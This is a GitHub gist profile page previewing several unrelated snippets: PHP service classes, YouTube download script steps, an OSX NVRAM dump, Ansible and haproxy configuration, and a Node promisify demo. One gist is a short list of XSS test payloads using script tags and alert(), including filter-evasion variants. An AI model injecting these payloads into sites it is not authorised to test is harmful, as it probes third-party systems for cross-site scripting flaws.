Skip to content

Instantly share code, notes, and snippets.

View JamesTheHacker's full-sized avatar

0xDEADBEEF JamesTheHacker

  • United Kingdom
View GitHub Profile
<?php
namespace StudentApp\Services;
class EmailService extends Service
{
public function sendPasswordResetToken($code, $email, $firstname, $lastname)
{
/*
* Load the HTML from templates file
<?php
namespace StudentApp\Services\Email;
abstract class EmailService
{
protected $emailService;
protected $template;
protected $logger;
$container['GroupRepository'] = function() {
return new StudentApp\Repositories\GroupRepository(
new \StudentApp\Models\Group
);
};
class GroupRepository
{
private $groupModel;
public function __construct(Group $groupModel)
{
$this->groupModel = $groupModel;
}
public function create($creatorID, $image, $name, $description)
  1. Create a new file inside the folder you created to store your Youtube downloads. Call it dl.sh
  2. Paste the code above and save
  3. Open terminal, and type: cd YoutubeDownloads (replace YouTubeDownloads with the folder you created)
  4. Type: chmod +x dl.sh
  5. Now enter: ./dl.sh https://www.youtube.com/watch?v=p-GFsk5vE6o
  6. Wait for download to complete :)
@JamesTheHacker
JamesTheHacker / gist:bf8286bd68659fb08a0ea44675121c58
Created April 17, 2017 21:27
NVRAM Dump on OSX using `nvram -xp`
?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>LocationServicesEnabled</key>
<data>
AQ==
</data>
<key>SystemAudioVolume</key>
<data>
---
- name: Install haproxy
apt: name=haproxy state=latest
- name: Creating /var/www directory
file:
path: /var/www
state: directory
owner: "{{ user }}"
group: "{{ user }}"
global
log /dev/log local0
log /dev/log local1 notice
chroot /var/lib/haproxy
stats socket /run/haproxy/admin.socket mode 660 level admin
stats timeout 30s
user haproxy
group haproxy
daemon
maxconn 2048
<script>alert(123);</script>
<ScRipT>alert("XSS");</ScRipT>
<script>alert(123)</script>
<script>alert("hellox worldss");</script>
<script>alert(“XSS”)</script>
<script>alert(“XSS”);</script>
<script>alert(‘XSS’)</script>
“><script>alert(“XSS”)</script>
<script>alert(/XSS”)</script>
<script>alert(/XSS/)</script>
@JamesTheHacker
JamesTheHacker / example-error
Last active September 27, 2017 20:51
Some demo files I am using in a Medium article I write on NodeJS's util.promisify()
node promisify.js
Waiting ...
Waiting ...
Waiting ...
Waiting ...
Waiting ...
Waiting ...
Waiting ...
Waiting ...
[Error]: Could not wait any longer!